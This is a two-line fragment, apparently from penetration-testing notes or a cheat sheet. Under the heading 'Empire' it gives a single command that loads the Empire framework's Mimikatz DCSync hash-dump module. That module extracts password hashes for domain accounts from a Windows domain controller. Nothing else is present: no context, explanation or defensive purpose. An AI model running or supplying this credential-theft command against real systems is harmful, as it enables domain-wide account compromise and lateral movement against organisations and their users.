Empire

>usemodule credentials/mimikatz/dcsync_hashdump